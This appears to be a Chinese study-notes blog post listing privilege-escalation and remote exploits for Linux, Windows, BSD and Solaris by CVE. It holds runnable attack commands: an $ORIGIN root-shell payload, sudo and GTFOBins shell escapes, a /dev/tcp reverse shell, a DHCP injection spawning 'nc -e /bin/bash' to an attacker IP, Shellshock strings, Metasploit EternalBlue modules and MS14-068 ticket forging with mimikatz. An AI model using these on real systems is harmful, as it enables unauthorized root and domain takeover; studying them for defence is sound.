学习笔记-OS - Exploits

OS - Exploits


免责声明

本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.


大纲


Linux

相关资源

相关文章

内核漏洞提权

文章教程

提权辅助工具


以下工具长期未更新,不推荐

CVE-2009-2698

CVE-2010-3847

  • POC | Payload | exp
    # 在/tmp下创建可控制的目录
    $ mkdir /tmp/exploit
    # 链接到suid二进制程序以更改$ORIGIN的定义
    
    $ ln /bin/ping /tmp/exploit/target
    # 打开到目标二进制程序的文件描述符
    
    $ exec 3< /tmp/exploit/target
    # 现在可通过/proc访问描述符
    
    $ ls -l /proc/$$/fd/3
    lr-x------ 1 taviso taviso 64 Oct 15 09:21 /proc/10836/fd/3 -> /tmp/exploit/target*
    # 删除之前所创建的目录
    
    $ rm -rf /tmp/exploit/
    # /proc链接仍存在,但已标记为已被删除
    
    $ ls -l /proc/$$/fd/3
    lr-x------ 1 taviso taviso 64 Oct 15 09:21 /proc/10836/fd/3 -> /tmp/exploit/target (deleted)
    # 使用负载DSO替换目录,使$ORIGIN成为到dlopen()的有效目标
    
    $ cat > payload.c
    void __attribute__((constructor)) init()
    {
    setuid(0);
    system("/bin/bash");
    }
    ^D
    $ gcc -w -fPIC -shared -o /tmp/exploit payload.c
    $ ls -l /tmp/exploit
    -rwxrwx--- 1 taviso taviso 4.2K Oct 15 09:22 /tmp/exploit*
    # 通过LD_AUDIT强制/proc中的链接加载$ORIGIN
    
    $ LD_AUDIT="\$ORIGIN" exec /proc/self/fd/3
    sh-4.1# whoami
    root
    sh-4.1# id
    uid=0(root) gid=500(taviso)
    

CVE-2016-4557

  • 简介

    Linuxkernel 是美国 Linux 基金会发布的开源操作系统 Linux 所使用的内核。NFSv4implementation 是其中的一个分布式文件系统协议。Linuxkernel4.5.5 之前版本的 kernel/bpf/verifier.c 文件中的‘replace_map_fd_with_map_ptr’函数存在安全漏洞,该漏洞源于程序没有正确维持 fd 数据结构体。本地攻击者可借助引用不正确文件描述符的 BPF 指令利用该漏洞获取权限或造成拒绝服务(释放后重用)。

  • 影响范围

    • Linux kernel <= 4.5.4
  • POC | Payload | exp

CVE-2016-5195 脏牛 Dirty COW

CVE-2017-1000253

  • 简介

    在 Linux 环境下,如果应用程序编译时有 -pie 编译选项,则 load_elf_binary() 将会为其分配一段内存空间,但是 load_elf_ binary() 并不考虑为整个应用程序分配足够的空间,导致 PT_LOAD 段超过了 mm->mmap_base。在 x86_64 下,如果越界超过 128MB,则会覆盖到程序的栈,进而可能导致权限提升。

  • 影响范围

    • centos < 7.1708
    • redhat < 7.4
  • POC | Payload | exp

CVE-20171000405 Huge Dirty COW

  • 简介

    安全团队 Bindecy 爆出名为大脏牛(HugeDirty Cow)的内核提权漏洞,编号为 CVE-20171000405。包含 linux 内核(2.6.38~4.14)的服务器,桌面,移动等众多设备将面临严重挑战,数以百万计的用户受到安全威胁。该漏洞是由于对之前的内核提权漏洞(cve-2016-5195)修补不完整引发

  • 影响范围

    • 2.6.38 <= Linux kernel <= 4.14
  • 相关文章

  • POC | Payload | exp

CVE-2019-13272 Linux 4.10 < 5.1.17 PTRACE_TRACEME local root

  • 简介

    在 5.1.17 之前的 Linux 内核中,kernel/ptrace.c 中的 ptrace_link 在记录想要创建 ptrace 关系的进程的凭证时处理不当,这使得本地用户可以通过利用某些具有父子进程关系的场景获得 root 权限,其中父进程放弃权限并调用 execve(可能允许攻击者控制)。一个促成因素是对象寿命问题。另一个因素是不正确地将 ptrace 关系标记为特权,这可以通过(例如)PTRACE_TRACEME 的 Polkexec 帮助程序来利用。注意:在某些环境中,SELinux deny_ptrace 可能是一个可用的变通方法。

  • 相关文章

  • POC | Payload | exp

CVE-2020-8835 Linux Kernel 信息泄漏/权限提升

CVE-2020-14386

CVE-2021-3490

  • 简介

    该漏洞源于按位操作(AND,OR 和 XOR)的 eBPF ALU32 边界跟踪不会更新 32 位边界,攻击者可利用该漏洞触发越界读写,从而从普通权限提升到 root 权限。

  • POC | Payload | exp

CVE-2021-3493

CVE-2021-22555

CVE-2022-0185

CVE-2021-31440 Linux 内核eBPF提权漏洞

CVE-2021-33909

CVE-2022-0847

CVE-2022-2588

CVE-2022-2639 Linux 内核 openvswitch 本地提权

CVE-2022-25636

CVE-2022-27666

CVE-2022-34918


原生软件提权

CVE-2019-7304

CVE-2019-14287

  • 简介

    当 sudo 配置为允许用户以任意方式运行命令时用户通过 Runas 规范中的 ALL 关键字,可以通过指定用户 ID -1 或 4294967295 以 root 用户身份运行命令。

  • 影响范围

    • Sudo_project:Sudo:1.3.0::😗
    • Sudo_project:Sudo:1.3.1::😗
    • Sudo_project:Sudo:1.4.0::😗
    • Sudo_project:Sudo:1.5.0::😗
    • Sudo_project:Sudo:1.5.1::😗
  • 相关文章

  • POC | Payload | exp

    cat /etc/sudoers | grep "(\s*ALL\s*,\s*\!root\s*)"
    cat /etc/sudoers | grep "(\s*ALL\s*,\s*\!#0\s*)"
    
    sudo -u#-1 id -u
    或者:
    sudo -u#4294967295 id -u
    

Ubuntu + accountsservice dos + gdm3 LPE

CVE-2021-3156 Sudo 本地权限提升

CVE-2021-3560

CVE-2021-4034 pkexec 本地权限提升


系统配置提权

文章教程

若 /etc/passwd 文件可修改

梦想总得有,万一真的可以成功呢

openssl passwd -1   # 输入你想改成的密码,用得到的 hash 去替换 root 行的 x
python -c 'import pty; pty.spawn("/bin/bash")'

然后 su root,输入上一步改的密码

sudo

sudo -l # 查看当前用户执行哪些 sudo 命令无需密码

下面只记录部分,更多内容访问 GTFOBins

  • zip

    sudo zip /tmp/tmp.zip /tmp/ -T --unzip-command="sh -c /bin/bash"
    
    -T 表示测试 test.zip 的完整性
    -unzip-command 与 -T 一起使用,可以指定自定义命令用于解压 test.zip
    
  • tar

    sudo tar cf /dev/null test --checkpoint=1 --checkpoint-action=exec=/bin/bash
    
    -checkpoint-action 选项是提权点,可以自定义需要执行的动作
    
  • strace

    sudo strace -o /dev/null /bin/bash
    
  • nmap

    低版本的 nmap3.x 有 interactive 模式,且设置了 suid,这个时候可以进入交互模式 执行 !sh 命令即可轻松完成提权。

    echo "os.execute('/bin/bash')" > /tmp/shell.nse
    sudo nmap --script=/tmp/shell.nse
    
  • more

    sudo more /etc/hosts
    !/bin/bash
    
  • git

    sudo git help status
    !/bin/bash
    
  • ftp

    sudo ftp
    ftp> !/bin/bash
    
  • vim

    sudo vim -c '!bash'
    
  • perl:

    sudo perl -e 'exec "/bin/bash";'
    
  • python:

    sudo python -c 'import pty;pty.spawn("/bin/bash")'
    
  • less

    sudo less /etc/hosts
    v
    :shell
    
  • awk

    sudo awk 'BEGIN {system("/bin/bash")}'
    
  • man

    sudo man man
    !/bin/bash
    
  • vi

    sudo vi
    
    :!bash
    或
    :!/bin/sh
    或
    :set shell=/bin/sh
    :shell
    
  • find

    find . -exec /bin/sh \;
    

suid

找带 suid 的文件

并不是说程序存在 suid 位就可以提权,还需要看程序的所有者

find / -perm -u=s 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000-print2>/dev/null
find / -user root -perm -4000-exec ls -ldb {} \;

筛选出其中所有人有 rwx 权限的文件,添加如下一句话:

bash -i >& /dev/tcp/<kali-ip>/port 0>&1

远程漏洞

CVE-2014-6271 Bash 远程代码执行漏洞"破壳"

  • 简介

    GNU Bash 是美国软件开发者布莱恩-福克斯(Brian J. Fox)为 GNU 计划而编写的一个 Shell(命令语言解释器),它运行于类 Unix 操作系统中(Linux 系统的默认 Shell),并能够从标准输入设备或文件中读取、执行命令,同时也结合了一部分 ksh 和 csh 的特点。

    GNU Bash 4.3 及之前版本中存在安全漏洞,该漏洞源于程序没有正确处理环境变量值内的函数定义。远程攻击者可借助特制的环境变量利用该漏洞执行任意代码。以下产品和模块可能会被利用:OpenSSH sshd 中的 ForceCommand 功能,Apache HTTP Server 中的 mod_cgi 和 mod_cgid 模块,DHCP客户端等。(说明:该漏洞的补丁并没有完全修复该问题,CNNVD-201409-956 补充了不完整修复后仍存在的问题)

  • 相关文章

  • POC | Payload | exp

  • 本地验证方法

    env x='() { :;}; echo Vulnerable CVE-2014-6271 ' bash -c "echo test"

    执行命令后,如果显示 Vulnerable CVE-2014-6271,证系统存在漏洞,可改变 echo Vulnerable CVE-2014-6271 为任意命令进行执行.

    User-Agent: () { :;}; whoami

  • MSF 模块

    use exploit/linux/http/ipfire_bashbug_exec
    use exploit/multi/http/cups_bash_env_exec
    use exploit/unix/dhcp/bash_environment
    

CVE-2015-7547

  • 简介

    Google 安全团队发现 glibc 存在的溢出漏洞。glibc 的 DNS 客户端解析器中存在基于栈的缓冲区溢出漏洞。当软件用到 getaddrinfo 库函数(处理名字到地址以及服务到端口的转换)时,攻击者便可借助特制的域名、DNS 服务器或中间人攻击利用该漏洞,控制软件,并试图控制整个系统。

    攻击者使用恶意的 DNS 域名服务器创建类似于 evildomain.com 的域名,然后向目标用户发送带有指向该域名的链接的邮件,一旦用户点击该链接,客户端或浏览器将会开始查找 evildomain.com,并最终得到恶意服务器的 buffer-busting 响应。该域名被嵌入服务器日志中,一旦解析就会触发远程代码执行,SSH 客户端也会因此被控制。或者,位于目标用户网络中的中间人攻击者可以篡改 DNS 响应,向恶意代码中动态注入负载。

    简单的说,只要控制了 linux 服务器所访问的 DNS 服务器,或者对 linux 服务器的流量进行劫持;那么,在 Linux 服务器做 DNS 请求时,恶意 DNS 服务器就可以对 linux 服务器进行远程溢出攻击,获取服务器权限。

  • 相关文章

  • POC | Payload | exp

CVE-2018-1111 DHCP 客户端脚本代码执行漏洞

  • 简介

    Fedora 是由 Fedora 项目社区开发、美国红帽(Red Hat)公司赞助的一套基于 Linux 的操作系统。DHCP packages 是其中的一个动态主机配置协议软件包。

    Fedora 28 及之前版本、Red Hat Enterprise Linux 6 和 7 中的 DHCP 包的 NetworkManager integration 脚本存在命令注入漏洞。本地攻击者可通过伪造 DHCP 响应利用该漏洞在系统以 root 权限执行任意命令。

  • 相关文章

  • POC | Payload | exp

  • 本地利用方法

    attacker: kali linux 2018 x64 192.168.71.5
    victim: Centos 7 x64 192.168.71.10
    
    vim dnsmasq.conf
    bind-interfaces
    interface=eth0
    except-interface=lo
    dhcp-range=192.168.71.10,192.168.71.20,12h
    dhcp-option=3,192.168.71.5
    dhcp-option=6,192.168.71.5
    log-queries
    log-facility=/var/log/dnsmasq.log
    
    dnsmasq -dC dnsmasq.conf --dhcp-option="252,malayke'&nc -e /bin/bash192.168.71.5 6666 #"
    nc -l -p 6666 -v
    

    重启 CentOS 的网络服务,然后 shell 就反弹回来了


Windows

相关资源


提权漏洞

相关文章

提权辅助工具

添加开机启动项

useradd.c

#include <stdlib.h>
int main ()
{
    int i;
    i=system ("net localgroup adminstrators lowpriv /add");
    return 0;
}
i586-mingw32msvc-gcc useradd.c -o useradd.exe

将 useradd.exe 传到目标机上,用 useradd.exe 去替换 everyone 完成控制且以系统权限开机自启的 exe,即可将用户 lowpriv 提升为管理员权限

查看一个程序的各个用户权限: icacls xxx.exe

CVE-2016-3225 && MS16-075

  • 简介

    Windows SMB 服务器特权提升漏洞(CVE漏洞编号:CVE-2016-3225)当攻击者转发适用于在同一计算机上运行的其他服务的身份验证请求时,Microsoft 服务器消息块 (SMB) 中存在特权提升漏洞,成功利用此漏洞的攻击者可以使用提升的特权执行任意代码。若要利用此漏洞,攻击者首先必须登录系统。然后,攻击者可以运行一个为利用此漏洞而经特殊设计的应用程序,从而控制受影响的系统。

  • POC | Payload | exp

CVE-2016-7255 && MS16-135

CVE-2017-0050 && MS17-017

schedsvc!SchRpcSetSecurity() 漏洞

CVE-2018-8120

CVE-2019-0803

CVE-2019-1132

CVE-2019-1215

  • 简介

    Microsoft Windows 和 Microsoft Windows Server 都是美国微软(Microsoft)公司的产品。Microsoft Windows 是一套个人设备使用的操作系统。Microsoft Windows Server 是一套服务器操作系统。

    Microsoft Windows 和 Microsoft Windows Server 中 ws2ifsl.sys(Winsock) 处理内存对象的方式存在提权漏洞。攻击者可借助特制的应用程序利用该漏洞以提升的权限执行代码。

  • 影响版本

    • Windows_10
    • Windows 7 SP1
    • Windows 8.1
    • Windows RT 8.1
    • Windows Server 2008 SP2
    • Windows Server 2008 R2 SP1
    • Windows Server 2012
    • Windows Server 2012 R2
    • Windows Server 2016
    • Windows Server 2019
  • 相关文章

  • POC | Payload | exp

CVE-2019-1388

  • 简介

    Microsoft Windows 和 Microsoft Windows Server 都是美国微软(Microsoft)公司的产品。Microsoft Windows 是一套个人设备使用的操作系统。Microsoft Windows Server 是一套服务器操作系统。Windows Certificate Dialog 是其中的一个证书操作对话框组件。

    Microsoft Windows Certificate Dialog 中存在提权漏洞,该漏洞源于程序没有正确执行用户特权。攻击者可通过登录系统并借助特制的应用程序利用该漏洞获取提升的权限。

  • 影响版本

    • Windows_10
    • Windows 7 SP1
    • Windows 8.1
    • Windows RT 8.1
    • Windows Server 2008 SP2
    • Windows Server 2008 R2 SP1
    • Windows Server 2012
    • Windows Server 2012 R2
    • Windows Server 2016
    • Windows Server 2019
  • 相关文章

  • POC | Payload | exp

CVE-2020-0668

CVE-2020-0683

CVE-2020-0787

CVE-2020-0796

WerTrigger

CVE-2020-1054

CVE-2020-1066

CVE-2020-1170 Microsoft Windows Defender 提权漏洞

CVE-2021-1727

CVE-2021-1732

CVE-2021-33739

CVE-2021-34484

CVE-2021-36934

CVE-2021-40449

CVE-2021-41379 && CVE-2021-43883

  • 简述

    Windows Installer 存在权限提升漏洞,该漏洞利用程序通过覆盖 Microsoft Edge 提升服务(elevation_service.exe)DACL,将自身复制到 elevation_service.exe 并执行它以获得提升的权限。本地攻击者可以利用此漏洞获取 SYSTEM 权限。

  • POC | Payload | exp

CVE-2022-21882


远程漏洞

MS08-067 & CVE-2008-4250

  • MSF 模块
    use exploit/windows/smb/ms08_067_netapi
    set payload windows/x64/meterpreter/reverse_tcp
    set target 0
    

MS12-020 & CVE-2012-0002

  • MSF 模块
    use auxiliary/scanner/rdp/ms12_020_check
    use auxiliary/dos/windows/rdp/ms12_020_maxchannelids
    

MS14-066 & CVE-2014-6321

MS15-034 & CVE-2015-1635

CVE-2017-0143 - CVE-2017-0148 && MS17-010

  • MSF 模块

    # 发现,检测
    use auxiliary/scanner/smb/smb_ms17_010
    set rhosts [ip]
    run
    
    # 命令执行,不回弹
    use auxiliary/admin/smb/ms17_010_command
    set command whoami
    
    # 使用 payload 连上去
    use exploit/windows/smb/ms17_010_eternalblue
    set payload windows/x64/meterpreter/reverse_tcp
    set lhost [ip]      # 设置回弹地址
    set rhosts [ip]
    run
    
    # msf 下加载 mimikatz 模块
    load mimikatz
    kerberos
    
  • 修复工具

bluekeep & CVE-2019-0708

SMBGhost && CVE-2020-0796 微软 SMBv3 协议远程代码执行漏洞

CVE-2020-1350

CVE-2020-16898

CVE-2021-31166

CVE-2022-21907


Windows Access Token 令牌假冒

当用户注销后,系统将会使主令牌切换为模拟令牌,不会将令牌清除,只有在重启机器后才会清除。

可以使用多种工具查看目前系统上存在的模拟令牌:

  • Incognito

  • Powershell - Invoke-TokenManipulation.ps1

  • Cobalt Strike - steal_token

  • MSF Moudle

    getsystem
    load incognito meterpreter > list_tokens -u
    impersonate_token "PAYLOADS\\Administrator”
    

MS14-025

MS14-068 & CVE-2014-6324

  • 简介

    ms14-068 漏洞是 KDC 服务中的 Windows 漏洞,是由 PAC 认证错误引起,导致域内普通用户可以在 Kerberos TGT 中加入伪造的凭据,从域用户提升到域管理员权限。在执行 ms14-068 漏洞之前,需要通过 systeminfo 看目标机器是否打补丁 kb3011780,如果没打就可以尝试使用该方法进行域提权。

  • 影响版本

    • Windows 7 SP1
    • Windows 8.1
    • Windows RT 8.1
    • windows vista
    • Windows Server 2003 SP2
    • Windows Server 2008 SP2
    • Windows Server 2008 R2 SP1
    • Windows Server 2012
    • Windows Server 2012 R2
  • 相关文章

  • POC | Payload | exp

    • windows-kernel-exploits/MS14-068/

    • abatchy17/WindowsExploits/blob/master/MS14-068/MS14-068.exe

      登录普通域用户 whoami/user 获取 sid

      退出域用户,登录本地用户

      MS14-068.exe -u test@test.org -s S-1-5-21-1218902331-2157346161-1782232778-1124 -d 192.168.1.1 -p Admin123
      
      # -u 域账号+@+域名称
      # -s 为 ts1 的 SID 值,可以通过 whoami/all 来获取用户的 SID 值
      # -d 为当前域的域控
      # -p 为当前用户的密码,即 ts1 的密码
      

      接下来将导出生成一张 kerberos 票据,配合 mimikatz 的 ptt 功能,将票据导入到内存中

      使用 mimikatz 将票据注入到当前内存中,伪造凭证,如果成功则拥有域管理权限,可任意访问域中所有机器

      kerberos::purge                 # 清空当前机器中所有凭证,如果有域成员凭证会影响凭证伪造
      kerberos::list                  # 查看当前机器凭证
      kerberos::ptc [ccachefile]      # 将票据注入到内存中
      
      可以使用 net use \\域控名\C$ 尝试访问域控
      
      也能执行 psexec
      PsExec64.exe -accepteula \\域控名 -s cmd /c "whoami /all"
      

CVE-2019-1040 Windows NTLM 篡改漏洞

CVE-2020-1472 zerologon

CVE-2021-1675 && CVE-2021-34527

NoPac && CVE-2021-42287 && CVE-2021-42278


其他

CVE-2018-8420 Msxml 解析器的远程代码执行漏洞

CVE-2020-0601

物理接触

CVE-2020-1398

DOS

condrv.sys内存损坏漏洞

CVE-2020-16899

CVE-2021-24086


FreeBSD

CVE-2013-2171


OpenBSD

CVE-2019-19726 OpenBSD 提权

  • 简介

    OpenBSD 是加拿大 OpenBSD 项目组的一套跨平台的、基于 BSD 的类 UNIX 操作系统。

    OpenBSD 6.6 及之前版本中存在安全漏洞。本地攻击者可利用该漏洞将权限提升至 root,进而以该权限执行自己的库代码。

  • 影响版本

    • Openbsd:Openbsd:-::😗
    • Openbsd:Openbsd:2.0::😗
    • Openbsd:Openbsd:2.1::😗
    • Openbsd:Openbsd:2.2::😗
    • Openbsd:Openbsd:2.3::😗
  • POC | Payload | exp


Solaris

CVE-2020-14724

CVE-2020-14871

  • 简介

    2018 年底,FireEye 子公司 Mandiant 的 FLARE AdvancedPractices 团队,在追踪 UNC1945 团体的活动时发现该团体在一台 Oracle Solaris 操作系统上安装了一个被称为 SLAPSTICK 的后门,用以捕获连接详细信息和身份凭证。转眼间到了 2020 年中旬,Mandiant 观察到 UNC1945 团体在 Oracle Solaris9 服务器上部署了称为 EVILSUN 的远程利用工具。[2] 通过分析发现该工具利用 Oracle Solaris Pluggable Authentication Module (可插拔身份验证模块,简称 PAM) 的基于堆栈的缓冲区溢出漏洞获取最高系统权限。FLARE 小组的进攻性特遣队(OffensiveTask Force)分析了此漏洞以确定其工作方式,并在不同版本的 Solaris 系统上重现了漏洞,然后将其报告给 Oracle。

  • 相关文章

  • MSF 模块

    solaris/ssh/pam_username_bof
    

点击关注,共同学习!
安全狗的自我修养

github haidragon

https://github.com/haidragon

posted @ 2022-11-01 12:35  syscallwww  阅读(228)  评论(0编辑  收藏  举报